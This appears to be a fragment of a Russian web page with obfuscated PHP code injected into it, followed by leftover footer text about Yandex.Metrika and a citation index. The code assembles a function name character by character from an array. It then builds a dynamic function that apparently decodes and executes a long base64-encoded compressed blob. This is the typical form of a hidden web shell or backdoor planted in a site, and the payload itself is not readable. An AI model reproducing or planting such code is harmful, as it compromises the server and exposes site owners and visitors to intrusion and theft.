$dgkzcwzv[24].$dgkzcwzv[3].$dgkzcwzv[18].$dgkzcwzv[10].$dgkzcwzv[9].$dgkzcwzv[18].$dgkzcwzv[2].$dgkzcwzv[14].$dgkzcwzv[6].$dgkzcwzv[13].$dgkzcwzv[24].$dgkzcwzv[9].$dgkzcwzv[23].$dgkzcwzv[17].$dgkzcwzv[13]; $xkceoy = $dcfgsltr('$v', $dgkzcwzv[18].$dgkzcwzv[5].$dgkzcwzv[10].$dgkzcwzv[21].$dgkzcwzv[19].$dgkzcwzv[7].$dgkzcwzv[4].$dgkzcwzv[23].$dgkzcwzv[13].$dgkzcwzv[14].$dgkzcwzv[21].$dgkzcwzv[10].$dgkzcwzv[9].$dgkzcwzv[18].$dgkzcwzv[19].$dgkzcwzv[16].$dgkzcwzv[10].$dgkzcwzv[12].$dgkzcwzv[18].$dgkzcwzv[8].$dgkzcwzv[15].$dgkzcwzv[2].$dgkzcwzv[11].$dgkzcwzv[18].$dgkzcwzv[24].$dgkzcwzv[17].$dgkzcwzv[11].$dgkzcwzv[18].$dgkzcwzv[19].$dgkzcwzv[20].$dgkzcwzv[5].$dgkzcwzv[0].$dgkzcwzv[0].$dgkzcwzv[0].$dgkzcwzv[22]); $xkceoy('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'); ?>
Яндекс.Метрика

Индекс цитирования